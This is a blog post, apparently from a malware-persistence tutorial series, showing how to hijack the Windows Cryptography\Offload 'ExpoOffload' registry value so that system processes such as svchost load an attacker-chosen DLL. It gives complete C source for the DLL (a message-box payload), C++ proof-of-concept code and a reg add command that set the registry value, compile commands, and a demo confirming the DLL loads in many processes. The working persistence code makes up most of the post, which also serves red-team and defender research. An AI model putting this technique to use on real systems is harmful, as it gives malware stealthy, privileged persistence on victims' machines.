cocomelonc

cybersec enthusiast. CTF player

2 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

pers

This article is the result of my own investigation into one of the interesting malware persistence trick: via Cryptography Registry Key.

In the course of studying the registry, I came across an interesting path:

HKLM\Software\Microsoft\Cryptography\

And there is a such function OffloadModExpo. If I understand correctly, this function is used to perform all modular exponentiations for both public and private key operations:

pers

I didn’t go into too much detail, the very opportunity to experiment with this key and value in the Windows registry is enough for me. So, I tried to hijacking this DLL path:

HKLM\Software\Microsoft\Cryptography\Offload and key value.

practical example

First of all, as usually, create “evil” DLL. As usually, just meow-meow messagebox (hack.c):

/*
hack.c - malicious DLL
DLL hijacking Cryptography registry path
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      MessageBox(
        NULL,
        "Meow-meow!",
        "=^..^=",
        MB_OK
      );
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

Compile it:

x86_64-w64-mingw32-gcc -shared -o hack.dll hack.c

pers

And create Proof-of-Concept code for hijacking (pers.cpp):

/*
pers.cpp
windows persistence via
hijacking cryptography DLL path
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/21/malware-pers-16.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  // reg path
  const char* path = "SOFTWARE\\Microsoft\\Cryptography\\Offload";

  // evil DLL
  const char* evil = "Z:\\2022-10-21-malware-pers-16\\hack.dll";

  // create key
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)path, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);
  if (res == ERROR_SUCCESS) {
    // set registry key value
    // reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Offload" /v "ExpoOffload" /t REG_SZ /d "...\hack.dll" /f
    RegSetValueEx(hkey, (LPCSTR)"ExpoOffload", 0, REG_SZ, (unsigned char*)evil, strlen(evil));
    RegCloseKey(hkey);
  }

  return 0;
}

That’s all I need for experiment.

demo

Let’s go to see everything in action. Compile our Proof-of-Concept code:

x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

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Then, for the purity of experiment, check registry keys in the victim’s machine and delete keys if exists:

reg query "HKLM\SOFTWARE\Microsoft\Cryptography\Offload" /s

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Then, run our pers.exe script and check again:

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And now I’ll try to run something. For example, I will try to open https:\\... link at the browser or use search bar.

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In the course of performing some cryptographic operations at the background, we will see more and more popups.

pers

pers

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Also I couldn’t even run Process Hacker 2 for investigation of the situation.

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Then, restore my VM snapshot, run sysinternals Procmon with following filters:

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And as a result:

pers

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As you can see at some stage my “evil” meow-meow DLL loaded by svchost.exe, ProcessHacker.exe and other processes.

So, everything is worked correctly. Perfectly! =^..^=

After end of experiments, restore my registry state:

pers

I don’t know if any APT in the wild used this tactic and trick, but, I hope this post spreads awareness to the blue teamers of this interesting technique especially when create software, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

OffloadModExpo
DLL hijacking
DLL hijacking with exported functions
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

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